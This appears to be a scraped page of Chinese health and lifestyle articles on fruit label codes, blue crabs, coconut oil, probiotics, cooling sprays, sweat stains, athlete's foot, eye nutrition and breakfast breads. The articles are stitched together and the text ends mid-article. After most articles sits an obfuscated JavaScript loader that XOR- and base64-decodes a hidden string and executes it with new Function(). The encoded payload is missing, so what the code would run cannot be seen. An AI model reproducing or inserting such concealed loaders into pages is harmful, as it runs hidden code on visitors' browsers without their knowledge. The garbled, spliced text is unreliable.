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大家日常选购水果时，有留意水果贴著的数字标签吗？这组看似普通的标签编号，其实暗藏着不少有关该款水果的资讯。透过这组数字，大家可以分辨水果是传统种植还是有机栽培，甚至分辨水果是否基因改造！ 水果标签｜拆解PLU码4大玄机  市面常见的进口水果上所贴有的标签编号，其实是一套称作“PLU码（Price Look Up Codes）”的国际编码系统，所有PLU码由国际生鲜产品联盟（IFPS）来管理，执行上则是由旗下的生鲜电子辨识评议会（PEIB）负责编码与授码。 PLU码的主要作用是为了协助零售商快速地识别散装食品，方便进退货与库存管理、获得正确标准化的销售资讯，并且为生鲜产品订出符合实质价值的价位，可用来分辨水果的品种、规格、产地及种植方式。对消费者而言，学懂解读这些编码，有助更快掌握水果资讯，选购时亦更安心。以下是水果标签的4大玄机，大家在买水果时不妨参考一下： 水果标签｜9字头代表有机生果？ 1. 3或4字头编码=传统栽种 市面上大部分水果标签都是4位数字，如果编码以“3”或“4”字开头，代表农作物采用传统惯行农法种植。农夫有机会在生长过程中使用农药或化学肥料，进食这类水果前，务必用流动清水彻底清洗干净，尽量减少农药残留。 2. 9字头5位编码=有机栽种 9字头5位编码代表有机栽种，想购买无添加化学农药的水果，留意“9”字头的标签。有机栽种的水果会在原本的4位数码前加上“9”，变成5位数字。可作为“无添加化学农药”的参考方向，有机水果成本及售价较高。 3. 标签后3个数字意思 水果标签的后三个数字代表水果的特定品种、规格和产区等。以热门的冬季橙（又称脐橙或石榴笃橙）为例，标签“4012”代表大码橙，而“3107”及“4013” 则分别代表中码及细码。不少人追捧“4012”是因为这类冬季大码橙的甜度普遍较高、果味较浓，品质形象给人感觉较为出色。 4. 8字头≠基因改造 国际食品标准联合会(IFPS)早于2015年已发表声明澄清，过往从未有厂商使用“8”字头标示基因改造水果。愈来愈多新水果问世，“8”字头的5位数编码其后被挪给传统惯行农法的产品使用，“8”字头的PLU码与基因改造水果无关。 不过，由于“PLU码”属果商自愿参与性质，无约束力，申请需要时间和金钱，因此并非所有进口水果都会有标签贴纸。但目前PLU码已在美国全面普及，多数欧洲国家则要求进口水果（不论产自何地）皆要有PLU码的标示。而日本生果则因有其他协会和农场认证生果品质，故日本生果则较少出现代码。 水果标签｜4大购买实用建议 认明官方有机认证：水果标签不能完全取代产地证明、认证标章或实际检验，看9字头标签外，应同时认清包装或标签上国际认可的有机标志。 切/去皮前先清洗：即便是去皮吃的水果，也要洗干净才切开，以免刀片将果皮表面的残留农药或细菌带入果肉之中。 掌握“流水清洗法” ：水果须在流动清水下浸洗几分钟。不建议使用盐水浸泡，反而令农药易渗入果肉。 优先选当造水果：时令水果不仅味道及营养更好，因它们在最适合的气候下自然生长，植物自身抵抗力较强，农民所需使用的农药相对较少。 资料来源：综合报导 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

不少港人喜欢吃蟹，但街市蓝花蟹产地众多难以分辨。有海鲜店教分印尼、菲律宾及香港的蓝花蟹，更揭秘这产地的蟹最贵却最鲜甜肥美。虽然蟹好吃，但有中医亦提醒有5类人需要尽量避免进食。 印尼/香港/菲律宾蓝花蟹怎样分？越贵越肥美？ “大家姐海鲜网上店”早前在其Facebook专页分享影片，指出市面上的蓝花蟹主要分为印尼、菲律宾及香港本地三大产地。大家姐亲自教大家分辨不同产地的蓝花蟹： 印尼/香港/菲律宾蓝花蟹分别 1.印尼蓝花蟹 整体颜色比较浅色、淡色。蟹壳上的花纹比较散乱，且花纹图案较多。在三款蟹中价钱最便宜，但相对地，其肉质的鲜甜度亦是最低的。 2.菲律宾蓝花蟹 色泽明显较鲜明，呈现出如蓝宝石的颜色。背部的花纹非常清晰，呈现单点分明的状态。价钱比印尼蓝花蟹稍贵，但肉质的鲜甜度远胜印尼蟹。 3.香港蓝花蟹 色泽分布最为均匀，看上去给人一种很舒服的感觉。蟹壳上的花纹平均，像画画一样。香港蓝花蟹价钱是三者中最高，但其肉质最为结实，且鲜甜度极高，甜味是印尼蓝花蟹完全无法比拟的。 为何不同产地的蓝花蟹味道会相差甚远？大家姐解释，关键在于各地海水的咸度不同。简单而言，生长环境的海水咸度越高，蓝花蟹的肉质就会越鲜甜。 蓝花蟹8个正确清理步骤 根据西澳第一产业及区域发展部网站的指引，在冷冻、烹调或食用蓝花蟹前，应按照以下8个正确步骤进行清理： 清理前，先将蟹放入冰水中浸泡约5分钟，使其进入麻醉状态。 将蟹反转腹部朝上，撬起并拔除腹部的甲壳。 将拇指放在蟹壳上部和下部之间的缝隙，用力剥下背甲。将内脏留在背甲中，然后连同背甲一并扔掉。 再次将蟹反转，双手拇指放在蟹身中间向下按压，将蟹身用力掰成两半。 仔细清理蟹口器部分。 彻底去除附着在蟹身两侧的鳃丝。 用流水彻底冲洗干净蟹身内残余的内脏（蟹黄部分）。 经过以上步骤，清理干净的蓝花蟹即可随时进行烹调或保存。 甚么人忌吃蟹？ 蟹虽然美味，但亦要顾及个人体质。注册中医林冠杰医师曾指出，蟹性味寒凉，适量进食有活血疏通经络、清热补气的作用，且营养丰富，含有多种有益的微量元素。不过，以下5类人士绝对不宜进食： 蟹属寒凉食物，肠胃虚寒的人吃后，有机会导致腹胀或肚泻。 蟹膏含有极高的胆固醇，三高患者必须高度注意，特别是高血脂。 高血压患者亦必须慎食。 蟹膏胆固醇高，对痛风病人易造成不适或加重病情。 蟹属于发物，患有湿疹、皮癣等慢性皮肤病的人士不宜食用。 资料来源：西澳第一产业及区域发展部网站、“大家姐海鲜网上店” T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

近年掀起一阵“喝油减肥”与“生酮饮食”的热潮，不少渴望减重的人为了贪求快而准的效果，盲目跟随网上流行的方法，每天早上空肚喝下一大匙油脂，当中“椰子油”更被许多人奉为养生界的神级圣品。然而，这种极端的保养方式真的健康吗？秀传医疗体系总院长、外科医生黄士维针对盛行的“椰子油保养法”提出3大迷思，以免减肥不成反伤身。 椰子油=减肥圣品？实为高热量饱和脂肪 许多减肥人士将椰子油视为“减肥圣品”，误以为多吃也不易发胖。黄士维医生对此指出，这完全是一个观念误区。事实上，椰子油含有超过 90% 的饱和脂肪，在营养学分类上与猪油、牛油同属一类。 从热量角度来看，每汤匙椰子油的热量便高达约 120 大卡。如果市民每天盲目将椰子油当作保健品猛吃，非但无法达到减脂效果，反而极易因油脂摄取过量而出现肠胃不适、腹泻等副作用。 油漱口能排毒？小心引发吸入性肺炎 网上流传十分广泛的“椰子油漱口排毒法”，同样缺乏科学根据。医生强调，人体的毒素是由肝脏及肾脏负责代谢，并非靠油脂在口腔内“漱”出来的。 现有的医学研究仅显示，用油漱口对优化口腔菌相有轻微帮助，但其实际效果甚至不如市面上一般的漱口水。更危险的是，市民在用油漱口时若不小心将油脂吸入气管，随时可能引发严重的吸入性肺炎。因此，大众切勿盲目轻信此类坊间偏方。 生酮配大量椰子油存有风险 针对网上流传“生酮饮食配上大量椰子油是最健康饮食”的说法，黄士维医生说明，生酮饮食本有其特定的医疗应用情境，绝对不一定适合每个人。若在缺乏专业指导下，长期进行高饱和脂肪的饮食模式，有可能会直接导致血脂异常，并加重肾脏的代谢负担，潜在风险不容忽视。 健康关键在于选对油 而非完全去油 与盲目“喝油”极端相对的是，部分减肥族群会选择彻底的“去油饮食”，认为油脂吃得越少越好。医生解释，油脂本身并非坏东西，选错油、吃过量，才是导致身体受损的根源。油脂是人体必需的核心营养素，在体内负责协助脂溶性维生素吸收、构成细胞膜以及合成荷尔蒙等重要功能。因此，市民不能完全不摄取油脂，关键在于适量与适当选择。 4类高危族群应避免喝油养生 医生特别提醒以下4个特定族群在面对“喝油养生”或“高油饮食”时，应特别留意潜在风险，切勿在未咨询专业意见前盲目尝试： 高血脂或心血管病史者 正在服用降血脂药物者 有胆囊疾病或脂肪吸收障碍者 长者吞咽功能退化，进行油漱口时出现吸入性肺炎的风险更高。 资料来源：健康2.0 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

便秘肠胃差，吃多种益生菌都没有效？不少人习惯吃益生菌不见效就转牌子，原来大错特错！有营养师指出，益生菌越食越无效，可能是肠道早已塞满死菌废物，令新菌无法生存。到底怎样有效帮肠胃大扫除，助益生菌发挥功效？ 益生菌越食越无效？营养师揭全因肠道积聚废物 注册营养师 Jim Lau在Facebook专页发文指，遇到一位客人手机里竟存有超过20种不同牌子的益生菌照片，原因是每只吃一个月就没有感觉，唯有不断转牌子。这种情况在香港人身上极为普遍。但他强调：“益生菌食吓食吓冇效，未必系因为只益生菌唔好。”关键在于一个极少人留意的肠道生物膜。 Jim Lau表示，肠道就像一间屋，用来租给益生菌和肠道微生物居住的。很多时以为，益生菌进食后就会像鱼仔般在肠道内游来游去，但事实并非如此。不少肠道细菌会依附在肠道黏液层表面，这就是生物膜。这层生物膜中不同的位置适合不同的菌种居住，如乳酸杆菌、双歧杆菌。益生菌必须靠自身的黏附能力，找到适合的位置，才能短暂停留并发挥作用。 他亦强调，如果肠道已经很久没有打理，积聚了大量代谢废物、死菌残骸及食物残渣，新进食的益生菌就未必能轻易找到好位置。因此，有时觉得益生菌无效，未必是产品差，而是肠道环境太恶劣。有研究显示，常见的乳酸杆菌及双歧杆菌在肠道通常只会停留几日，一停吃便会慢慢减少。所以益生菌并非进食一次就能永远落地生根，除了需要持续补充，更重要的是肠道环境必须准备好。 吃2物帮肠胃大扫除 助益生菌发挥功效 Jim Lau建议，当觉得益生菌无效时，第一时间不应是疯狂转换牌子，而是应该反思：“我嘅肠道环境系咪需要执一执？”他提议大约每3至5日，为肠道进行一次简单清洁，并推介了以下2款帮肠胃大扫除好物： 2款好物帮肠胃大扫除 1.苹果醋 苹果醋当中的醋酸能帮助调节消化环境，令肠道的酸碱状态变得更适合益菌发挥作用。若选择含有醋母的苹果醋，更会保留较多发酵相关的有益成分。患有胃溃疡或容易胃部不适的人士，不建议饮用。 2.消化酵素 消化酵素主要帮助分解食物，从而减少食物残渣积聚及消化系统的负担。特别适合经常胃胀、吃饱后容易顶胃，或蛋白质消化能力较差的人士，能有效帮肠道环境减压。 如何安全选购及服用益生菌产品？ 至于益生菌的选购贴士，本港消委会曾指，不同益生菌菌种可带来的健康益处有所不同，消费者应咨询医生和专业人士，按身体状况和需要而选择合适的益生菌，并非每个人都有服用的需要。 在选择和食用益生菌时，消委会建议参考以下小贴士： 注意益生菌也会有副作用，如果有任何健康问题或患病，应先咨询医生意见，而非自行服用益生菌，以免影响病情； 如自行选购亦应先了解产品资讯，选择资料较为齐全，当中的益生菌受较多国际认可的菌种； 益生菌产品有机会受温度和湿度影响，应避免存放于 30 度或以上高温或太潮湿的地方，同时避免儿童接触以降低误食风险； 不应单靠益生菌；日常要摄入足够蔬果，保持均衡饮食和多做运动，才能保持肠胃道健康及增强抵抗力。 资料来源：注册营养师 Jim Lau、消委会 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var...

天气炎热，不少港人出街爱用冰爽喷雾降温。不过国家应急广播警告，这款消暑神器潜藏3大风险，其中恐致皮肤严重冻伤。到底冰爽喷雾怎样使用可避免冻伤或带来的其他健康问题？ 狂喷冰爽喷雾潜藏3大危机 严重恐致冻伤？ 据国家应急广播在社交平台发文指出，每到夏季，冰爽喷雾就会成为许多人出门必备的降温神器。然而，好用并不代表绝对安全，若使用这类降温神器不当，随时会引发严重意外。冰爽喷雾主要成分除了水之外，还包含LPG、乙醇、薄荷脑、香精及甘油。LPG是高压液化后的石油气，主要成分是丙烷和丁烷等，沸点很低。当按下喷嘴时，沸点极低的液化石油气会充当推进剂，将罐内的液体以雾状均匀喷出，并瞬间汽化，吸收大量热能，达到表面降温的效果。同时，成分中的“薄荷脑”会刺激皮肤和黏膜上的温度感受器，给大脑发送一个“很凉快”的假讯号。换言之，极度冰爽的感觉，部分其实是欺骗大脑的感官错觉。 虽然冰爽喷雾解暑一流，但中国消防部门经过实测后警告，稍有不慎极易发生以下3大危险： 冰爽喷雾3大潜藏危机 附安全使用指南 1.易燃易爆炸 冰爽喷雾内的乙醇、丙烷或丁烷均属于易燃气体。当这些气体喷出并与空气混合后，一旦遇上热源或明火，极易引发燃烧甚至爆炸。此外，喷雾罐本身是压力容器，若长时间放置于持续高温的环境下，会导致罐内液体急速汽化，压力瞬间飙升，令喷雾秒变致命的爆炸罐。 2.皮肤冻伤 喷雾的汽化过程会迅速吸收热量，若在短时间内于同一部位多次补喷，或持续对一个位置狂喷，会令化学成分堆积。这种反复叠加的吸热效果，会导致皮肤局部温度骤降，最终造成冻伤。 3.刺激皮肤黏膜 若不慎将冰爽喷雾喷在眼周或伤口附近，当中的化学物质会强烈刺激眼睛黏膜及受损皮肤，导致皮肤受损或眼睛充血感染。 3招安全使用冰爽喷雾 可喷洒在2大位置减少皮肤受刺激 为了防患于未然，国家应急广播特别整理了3大安全使用指南，呼吁大众紧记： 使用前应仔细阅读说明，绝对不要在同一皮肤部位大量或持续喷射。建议将喷雾喷洒在衣物或毛巾上，以大幅减少对皮肤的直接刺激。 必须远离火源及高温环境，以防起火爆炸。 绝对不要在车厢内或任何密闭空间大量喷洒，防止气体积聚而引发危险。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

白衫腋下位置怎样洗都有黄垢和汗渍，到底有甚么方法有效解决？有专家教用1款洗衣液去黄去污，更教4个清洗小方法，有助彻底去汗渍。 根据《Good Housekeeping Institute》研究院居家护理与清洁实验室的评论分析师Noah Pinsonnaul指出，白色衫腋下位置若出现泛黄污渍，许多人以为汗水就是令衣服变黄的罪魁祸首，但原来这些顽固的黄垢，其实是长期发生在洗衣篮里的化学反应结果。只要选对洗衣液，也就是酵素洗衣液，有助于分解蛋白质，从而分解导致衣物变色的汗水、油脂和止汗剂残留物。对于运动服或功能性布料，使用运动专用洗衣液也很有帮助，因为这些布料比棉质布料更容易吸附异味。 Noah Pinsonnault续指，清洁衣物不仅仅是把衣服表面洗干净，更重要的是分解汗水干燥后残留在纤维中的物质。因为汗渍并非单纯的汗水，它通常是汗水、人体油脂和止汗剂残留物的混合体。事实上，人类的汗水本身通常是无色的，但当汗水中的蛋白质、油脂和盐分，随着时间推移与止汗剂产生化学反应，就会导致衣物严重泛黄。一旦这些污垢开始附着在布料上，普通的洗衣程序根本无法将其彻底洗净。而且，污垢停留的时间越长，尤其在高温天气及反复穿着的情况下，就越容易渗入衣物纤维深处，甚至令污渍变黑。 要彻底对付汗渍，挑选洗衣液时最重要的并非香味有多浓郁，而是必须查看产品是否含有针对分解蛋白质和油脂类污渍的酵素。这些酵素能够分解汗水干燥后残留的化合物，将它们从衣物纤维中拔除并冲洗干净；相反，若使用没有酵素的洗衣液，即使经过完整的洗衣程序，汗水、人体油脂和止汗剂残留物亦更容易残留于布料上。 在实际测试中，Tide的经典洗衣液表现最为出色。它含有多种酵素，能够有效去除常见的衣物污渍及汗渍残留，并且在高效能及普通洗衣机上都能发挥去渍功效。此外，它在冷水洗涤的低温环境下依然表现优异，能持续分解油脂和蛋白质污渍。因此，无论是清洗白衫还是运动服，它都是日常洗衣的可靠之选。 4招清洗白衫汗渍小贴士 Noah Pinsonnault提醒，去除汗渍不仅取决于使用甚么洗衣液，洗衫前的预先处理步骤同样是成败关键。他分享了4个处理顽固汗渍的实用小贴士： 4招处理白衫汗渍小贴士 1.局部预先处理 在洗衫前，先用手指或软毛刷，将少量的洗衣液或酵素去渍剂，直接涂抹在泛黄或有污渍的位置。按照产品说明静置片刻，让酵素有充分时间分解污渍，然后再进行清洗。 2.温水浸泡对付陈年污渍 对于陈旧或极度顽固的污渍，浸泡能显著提升去污效果。洗衫前，先将衣物浸泡在加入了几汤匙洗衣液的温水中约30至60分钟，然后再进行完整的洗涤程序。 3.查阅衣物上的洗涤标签 热水有助于溶解并去除残留物，但前提是需要布料能够承受高温，因此请务必查阅衣物上的洗涤标签，再使用最高温度的热水进行洗涤。 4.切勿立即高温烘干 清洗完毕后、放入干衣机烘干前，请务必先检查衣物的污渍是否已完全清除。因为高温会使残留的污垢瞬间固化，原本有望洗走的污渍，会变成洗不掉的永久性污渍。建议最好先自然晾干，让你有机会发现并再次处理未洗净的隐藏污渍。 资料来源：《Good Housekeeping Institute》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new...

下雨天是否特别容易染上香港脚？穿拖鞋、雨靴或凉鞋外出就万无一失？若鞋袜全湿，长时间“罨住”双脚，又会有何严重后果？皮肤科专科医生胡惠福接受《星岛头条》访问时指出，部分鞋款虽然防水，但同样有机会引发香港脚。若让雨水长时间“罨住”双脚，更可能会引致灰甲问题。他分享了4招急救湿透鞋袜的方法，以及日常护足贴士。 大雨鞋袜全湿恐惹2大脚部健康问题 胡医生指出，当鞋子弄湿后，双脚会处于极度侷促的环境，若持续长时间，便极易滋生真菌，继而引发甲癣（灰甲）及足癣（香港脚）两大问题： 1.香港脚 患者会感到脚部痕痒、出现脚臭或异味；脚板底可能出现广泛的厚皮屑，并有机会伴随红肿及令人疼痛的水泡。最常见的情况是，第3及第4只脚趾缝隙之间会出现痕痒、红肿、红斑和脱皮，甚至因皮肤干裂而感到疼痛。若脚部发生溃烂或出现较大损伤，更有机会引发继发性细菌感染。 2.灰甲（甲癣） 灰甲是指指甲、脚趾甲及甲床部位受到真菌感染。在感染初期，指甲或脚趾甲会呈现灰、啡、黄或白色，并会变厚、易碎，表面显得粗糙和凹凸不平。情况严重时，可导致脚趾甲变形，甚至甲床分离脱落，并伴随疼痛等症状。 穿拖鞋/雨靴防雨最安全？ 胡医生表示，下雨天穿着拖鞋、凉鞋、防水胶鞋虽然较为通爽，但若果被街上肮脏的污水溅湿，双脚同样有受真菌感染的风险，进而引发香港脚。如果脚上本身有伤口，受感染的机率则更高。另外，部分人属于敏感体质，可能对胶鞋的某些化学成分产生过敏反应，引发过敏性接触性皮肤炎，导致皮肤出现红肿、痕痒等症状。 不想弄湿双脚，穿雨靴的确是一个好选择，但胡医生提醒必须留意以下3大要点，以免弄巧反拙引发香港脚： 避免穿着长筒靴，宜选择较宽松的中短筒雨靴。 穿着雨靴前，应先穿上袜子。 进入室内后，应尽快换上通爽的鞋子。切忌一整天穿着雨靴，因为长时间焗促会令双脚潮湿，极易引发香港脚。 若已经感到脚部痕痒不适，胡医生建议，只要出现双脚痕痒、脱皮、红斑等香港脚症状，便应及早求医。医生会按病情处方外用抗真菌药膏，若病情严重，可能需要使用口服抗真菌药物来控制病情。 鞋袜全湿4招急救防真菌感染 若不幸在雨中双脚及鞋袜全湿，胡医生提供了以下4招急救方法： 处理弄湿的双脚： 应立即脱掉湿透的鞋袜，抹干或以风筒吹干双脚。若已带备拖鞋，应尽快换上，让双脚透气并保持干爽。 在下雨天外出时，强烈建议带备多一双干净的袜子作替换。 处理湿透的鞋子： 将湿透的鞋子放在通风的地方风干，或使用风筒吹干。亦可将报纸或废纸塞进鞋子里吸走水分，加快风干速度。 若未能即时换鞋，或车程较长，可先用纸巾印干双脚的水分，并额外放置纸巾到鞋子内部吸水。 除了下雨天要特别留神，胡医生亦提供日常保护脚部的方法： 洗澡后必须彻底抹干双脚，尤其是脚趾间的缝隙。 避免每天穿着同一双鞋子以免积聚湿气；回家后应把鞋子放置于通风处彻底吹干。 宜穿着透气、通爽且舒适的鞋子。 宜穿着棉质、透气且吸汗的袜子以保持脚部干爽。若脚汗较多，应勤加更换袜子。 接触雨水后，回家必须彻底清洁并抹干双脚。 避免在公众场所（例如泳池）赤脚走路，尤其当脚部有伤口时。 大汗人士可考虑使用止汗剂，若多汗情况严重，则可考虑采用离子导入等技术，阻塞汗腺分泌，减少汗水及双脚潮湿的问题。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

世界杯赛事如火如荼，不少球迷为了支持爱队，不惜挨夜睇波。然而，长时间盯着电视或手机屏幕，双眼容易变得又红又干，甚至出现视力模糊、疲劳感加剧。注册营养师Jim Lau指出，这可能不是单纯的眼药水可以解决，而是身体缺乏了几种关键的护眼营养素。只要在睇波前后补充足够的营养，就能有效减低眼睛负担，让你看得更清、更投入。 长时间睇波 眼睛消耗2大护眼色素 Jim Lau解释，视网膜中的感光细胞在长时间接触屏幕蓝光时，会大量消耗叶黄素和玉米黄素。这两种色素是眼睛的天然滤光层，负责过滤有害光线。当它们的含量下降，眼睛抵抗蓝光和强光刺激的能力便会减弱，疲劳感和干涩感随之而来。 睇波前后必食护眼清单 Jim Lau建议，球迷可以在赛前或赛后进食以下食物，补充眼睛所需的营养： 必食护眼清单l 1. 鸡蛋（必食蛋黄） 蛋黄是叶黄素和玉米黄素含量极高的食物之一，加上蛋黄中的脂肪有助提升吸收率，比从蔬菜中摄取更有效。每日进食1至2只全蛋，是最简单又实惠的护眼方法。 2. 蓝莓（或车厘子、桑椹） 蓝莓富含花青素，有助视网膜感光细胞快速修复，改善昏暗环境下的视力清晰度，减少睇波时的眼蒙感。每100克蓝莓含约163毫克花青素，一小碗已足够。 3. 红萝卜／番薯 红萝卜和橙心番薯含丰富β-胡萝卜素，是维他命A的前驱物。维他命A是眼睛感光的核心原料，缺乏时会影响夜间视力，对睇凌晨赛事尤其不利。 4. 三文鱼（或沙甸鱼、吞拿鱼） 三文鱼含丰富DHA，是视神经和视网膜细胞膜的重要成分。DHA不足会令视神经传导变慢，反应时间延长，这正是你觉得“睇波反应慢半拍”的原因之一。每周进食2至3次，已经足够。 5. 深绿色蔬菜（如菠菜、西兰花、羽衣甘蓝） 菠菜和西兰花是叶黄素含量最高的蔬菜，每100克菠菜含约12毫克叶黄素，同时提供维他命C，有助保护眼部微血管，减少长时间用眼引起的氧化损伤。 营养师3个实用贴士 除了饮食，营养师还提供以下实用小贴士，让你睇波时双眼更舒适： 补充叶黄素或虾红素补充品 若日常饮食难以摄取足够营养，可考虑补充叶黄素（每日10至20毫克）或虾红素（每日4至12毫克）。虾红素的抗氧化能力是维他命E的550倍，对护眼和抗疲劳效果特别显著。 保持充足水分 长时间观赛期间，许多人会忽略补充水分。眼睛表面的泪膜主要由水组成，脱水会加剧干涩感。建议每小时至少饮一杯水，是最低成本且最有效的护眼动作。 零食改为蔬菜脆片 睇波时习惯吃零食是人之常情，但薯片、饼干中的氧化油脂会加速眼部细胞发炎。建议改为羽衣甘蓝脆片或蔬菜脆片，既能满足口腹之欲，又能兼顾护眼需要，一举两得。 资料来源：注册营养师Jim Lau（获授权转载） T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var...

早餐吃面包方便快捷，是不少港人首选，不过要小心堕入高油陷阱！有营养师拆解5款常见早餐面包油脂，其中1款面包不但高油，热量更高达800kcal。 5款早餐面包油脂大比拼 1款包热量高达800卡！ 营养师杨斯涵在其Facebook专页发文指，面包是许多人喜爱的早餐或下午茶首选，看起来份量不大，似乎不像吃正餐般有负担。在营养评估上，有些面包其实是典型的高油脂密度食物，尤其是口感酥脆、层次分明，或表面带有酥皮、牛油香气的面包，往往都隐藏了大量牛油、酥油、猪油或极高脂的烘焙工艺。对于患有糖尿病、正在减肥，或有高血脂及心血管风险的人士来说，选择面包不能只看大小，更要看油脂密度、单个重量，以及是否配搭抹酱或内馅。她整理以下5款常见面包的油脂特性，帮助大家在选择时更有概念： 5款早餐面包油脂大比拼 1. 牛角包 牛角包之所以酥脆且层次分明，关键在于其裹油工艺。制作时会将面团与片状牛油反复折叠，形成一层面团、一层牛油的千层结构，而这些片状牛油通常属高油脂、低水分。以每100克计算，牛角包的油脂含量高达25至30克，是常见面包中油脂密度极高的一类。更可怕的是，由于牛角包内部充满空气，吃起来感觉轻盈，常让人产生“好像没吃多少”的错觉，但实际上其油脂热量占比可能已超过一半。 不建议每天当作早餐主食，若真的想吃，每次吃半个至一个即可，并配搭无糖豆浆、茶或黑咖啡，避免再配搭含糖饮品。 2.罗宋包 罗宋包吃起来口感扎实香浓，除了面团本身含有牛油，烘焗过程中表面更会反复刷上融化的牛油，令外层及底部形成类似半煎烤的极致酥香。虽然每100克罗宋包的油脂含量约20至25克，略低于牛角包，但市售的罗宋包通常体积庞大，且一个重量可达150至200克以上。因此，若把一整个吃完，其总油脂与总热量绝对比牛角包更惊人，一个的热量随时高达600至800kcal。 罗宋包问题不是每100克油脂最高，而是单个太大。建议切开分次食用，或与家人分享，绝对不要把一整个当成一餐吃完。 3.菠萝包 菠萝包的底部看似是一般的甜面包，但真正需要注意的是上方那层龟裂的香甜酥皮。这层酥皮本质上接近高糖高油的饼干面团，通常需使用大量牛油、猪油或酥油制作而成。每100克菠萝包的油脂含量约为15至20克。除了高脂，菠萝包亦含有极高的精制糖，对需要控制血糖及减肥的人士来说，绝对是高糖和高油的双重负担。 糖尿病人或减肥人士若真的想吃，请将其视为点心而非正餐。份量最好控制在半个，并避免再配搭含糖奶茶、果汁或甜咖啡。 4.盐味牛角包 盐味牛角包虽然名字有牛角包，但它其实是柔软的日式牛油卷。制作时会在面团中包入有盐牛油，烘焗时牛油融化并流到底部，形成焦脆且充满牛油香的底层。每100克盐味牛角包的油脂含量约为12至16克，虽然比上述三款面包稍低，但绝不代表它是低脂面包。其油脂多集中在内层与底部的焦脆处，若频繁食用，仍会累积热量。 许多人误以为它是较清爽的咸面包，但其实内含不少牛油。若作为早餐或点心，建议一餐最多吃一个，且不应再涂抹高脂酱或配搭甜饮。 5.酸种面包 